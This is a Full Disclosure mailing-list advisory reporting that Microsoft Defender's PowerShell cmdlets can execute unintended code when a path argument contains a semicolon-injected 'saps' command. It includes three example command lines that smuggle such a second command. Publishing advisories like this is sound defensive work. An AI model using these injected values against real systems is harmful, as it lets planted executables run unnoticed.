full-disclosure - [FD] Microsoft Defender Anti-Malware PowerShell API

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Date: Thu, 7 Dec 2023 22:36:55 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Microsoft Defender Anti-Malware PowerShell API - Arbitrary
	Code Execution

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt
[+] twitter.com/hyp3rlinx
[+] x.com/hyp3rlinx
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Windows PowerShell

[Vulnerability Type]
Arbitrary Code Execution

[CVE Reference]
N/A

[Security Issue]
Microsoft Defender Anti Malware and or PS API's can result in executing
arbitrary code.
E.g. scan a directory, shortcut .lnk or even non-existent item, may execute
unintended code.
This vector builds upon my previous advisory and subsequent project
PSTrojanFile.

Requirements:
1) On CL 'powershell' cmd is prefixed or passed in by calling PowerShell
from another script
2) Executable file of same name as the parameter that lives nearby

Examples:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads\;saps
Helper;.1.zip"
(Helper.exe lives on Desktop)

Create directory  ";saps Test", Test.exe, Test.cmd etc is on same CL path
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications
";saps Test"

Create directory with semicolon, drop PE file named doom.exe in same path.
powershell Set-ProcessMitigation -PolicyFilePath  "test;saps doom"

TODO: Update PSTrojanFile

[References]
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
https://github.com/hyp3rlinx/PSTrojanFile
https://www.exploit-db.com/exploits/47248
https://github.com/MicrosoftDocs/windows-powershell-docs/tree/main/docset/winserver2019-ps/defender

[Video PoC URL]
https://www.youtube.com/watch?v=0Go6yJiRWP8

[Network Access]
Remote

[Severity]
High

[Disclosure Timeline]
Vendor Notification:  circa (2019)
December 7, 2023 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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